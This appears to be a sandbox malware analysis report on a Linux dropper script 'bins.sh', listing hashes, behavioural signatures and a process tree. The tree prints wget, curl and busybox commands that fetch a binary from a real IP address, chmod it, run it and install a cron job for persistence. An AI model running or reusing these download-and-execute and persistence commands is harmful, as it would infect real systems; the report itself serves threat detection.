Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 13:57

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    5875b85f6a853bb5dc85b0a88a7be4b0

  • SHA1

    337556771a06e87851fd63266f40c71a79114b52

  • SHA256

    a2c7fd804328b2924ca9e0ae30caa8826786bd905f1bf0c66a85fddc50fe1f7a

  • SHA512

    b113dead6c232f3cba3dda0283cd0c8fbaa1e7b1d1d06ee63a7d084871ac0f8464efb6797f14f47f10728e58a2e68fb602e41e986c17eea55d99b87bfb0b1f21

  • SSDEEP

    192:rLIRRHWiihpWPE8Mum+Nh8vRRHWiARpXum+NhP:rLVDWMPr

Malware Config

Signatures

  • Contacts a large (2196) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1513
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1514
        • /usr/bin/wget
          wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:1515
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:1519
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Writes file to tmp directory
          PID:1520
        • /bin/chmod
          chmod 777 i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • File and Directory Permissions Modification
          PID:1521
        • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          ./i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1522
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1524
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1525
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1526
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1527
              • /bin/rm
                rm i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc
                2⤵
                  PID:1529
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/v3AircBDjQCluxfKjtVOtE0Tz4MpAmti4X
                  2⤵
                    PID:1532

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/i8XMtzGEao2zQ5ixPxVmz1QIxEWlxtx2fc

                  Filesize

                  99KB

                  MD5

                  9438d9bc392bcf300a5583b6df5bc8f6

                  SHA1

                  375a6ae34b516f6f3eeea8030c4084f585017efa

                  SHA256

                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                  SHA512

                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                • /var/spool/cron/crontabs/tmp.VatHMH

                  Filesize

                  210B

                  MD5

                  167990e1043759817511695f355d6cb8

                  SHA1

                  c7a94305c935d53dccf33e465e3f5e318b617c4e

                  SHA256

                  e6ed00587277203d0c9d4ad79f9e9d0c75a629d9ab86b1611ced8bec6b85329b

                  SHA512

                  8fcbefc1513d7debd41e2ebefbdd1f132979c34d8a68d7f626efbeef6037f648b03b9d0ae8a2739a06787ffbf4ab3848a44ceb26675ba5134e3cfafaca6abd1c